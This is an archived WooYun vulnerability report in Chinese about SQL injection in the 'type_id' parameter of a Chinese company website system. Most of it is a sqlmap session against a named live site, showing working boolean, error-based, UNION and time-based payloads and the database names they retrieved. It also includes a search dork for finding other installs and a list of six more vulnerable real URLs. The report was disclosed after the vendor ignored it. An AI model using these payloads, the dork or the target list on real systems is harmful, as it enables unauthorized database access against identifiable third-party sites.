当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-089442

漏洞标题:某企业建站系统一处sql注入#1

相关厂商:北京精搜营销策划有限公司

漏洞作者: 路人甲

提交时间:2015-01-07 13:04

修复时间:2015-04-13 16:58

公开时间:2015-04-13 16:58

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:11

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-07: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-04-13: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

sql

详细说明:

关键词:技术支持:北京精搜营销策划有限公司 inurl:/product.php?type_id=

注入地址:http://www.bj-junyitai.com/product.php?type_id=60
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 23:41:18
[23:41:18] [INFO] using 'F:\桌面\渗透工具\sqlmap GUI汉化版\rar\output\www.bj-jun
yitai.com\session' as session file
[23:41:19] [INFO] testing connection to the target url
[23:41:19] [INFO] testing if the url is stable, wait a few seconds
[23:41:20] [INFO] url is stable
[23:41:20] [INFO] testing if GET parameter 'type_id' is dynamic
[23:41:21] [INFO] confirming that GET parameter 'type_id' is dynamic
[23:41:21] [INFO] GET parameter 'type_id' is dynamic
[23:41:21] [INFO] heuristic test shows that GET parameter 'type_id' might be inj
ectable (possible DBMS: MySQL)
[23:41:21] [INFO] testing sql injection on GET parameter 'type_id'
[23:41:21] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[23:41:23] [INFO] GET parameter 'type_id' is 'AND boolean-based blind - WHERE or
HAVING clause' injectable
[23:41:23] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[23:41:23] [INFO] GET parameter 'type_id' is 'MySQL >= 5.0 AND error-based - WHE
RE or HAVING clause' injectable
[23:41:23] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[23:41:23] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[23:42:24] [INFO] GET parameter 'type_id' is 'MySQL > 5.0.11 AND time-based blin
d' injectable
[23:42:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[23:42:25] [INFO] target url appears to be UNION injectable with 10 columns
[23:42:34] [INFO] GET parameter 'type_id' is 'MySQL UNION query (NULL) - 1 to 10
columns' injectable
GET parameter 'type_id' is vulnerable. Do you want to keep testing the others (i
f any)? [y/N] y
sqlmap identified the following injection points with a total of 42 HTTP(s) requ
ests:
---
Place: GET
Parameter: type_id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: type_id=60' AND 7315=7315 AND 'xTuO'='xTuO
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: type_id=60' AND (SELECT 1649 FROM(SELECT COUNT(*),CONCAT(0x3a706770
3a,(SELECT (CASE WHEN (1649=1649) THEN 1 ELSE 0 END)),0x3a7277663a,FLOOR(RAND(0)
*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'Dkjf'='Dkjf
Type: UNION query
Title: MySQL UNION query (NULL) - 10 columns
Payload: type_id=-8889' UNION SELECT NULL, NULL, NULL, NULL, NULL, NULL, NUL
L, CONCAT(0x3a7067703a,0x494f704d4a414e5a4775,0x3a7277663a), NULL, NULL# AND 'ks
hD'='kshD
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: type_id=60' AND SLEEP(5) AND 'KzQO'='KzQO
---
[23:42:39] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 5
web application technology: PHP 5.2.10, Apache 2.2.3
back-end DBMS: MySQL 5.0
[23:42:39] [INFO] fetching database names
[23:42:40] [INFO] the SQL query used returns 3 entries
[23:42:40] [INFO] retrieved: "information_schema"
[23:42:40] [INFO] retrieved: "junyitai"
[23:42:40] [INFO] retrieved: "test"
available databases [3]:
[*] information_schema
[*] junyitai
[*] test
[23:42:40] [INFO] Fetched data logged to text files under 'F:\桌面\渗透工具\sqlm
ap GUI汉化版\rar\output\www.bj-junyitai.com'
[*] shutting down at 23:42:40


http://www.bj-junyitai.com/product.php?type_id=60%27
http://www.ziwx.cn/product.php?type_id=4%27
http://www.bcxsq.com/product.php?type_id=7%27
http://www.wzwj888.com/product.php?type_id=8%27
http://bjdfzd.com/props/clients/product.php?type_id=225%27
http://www.bjdsjcc.com/product.php?type_id=1%27


别说什么不是一套系统。只是模版不同罢了。注入点都是一个地方。

漏洞证明:

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝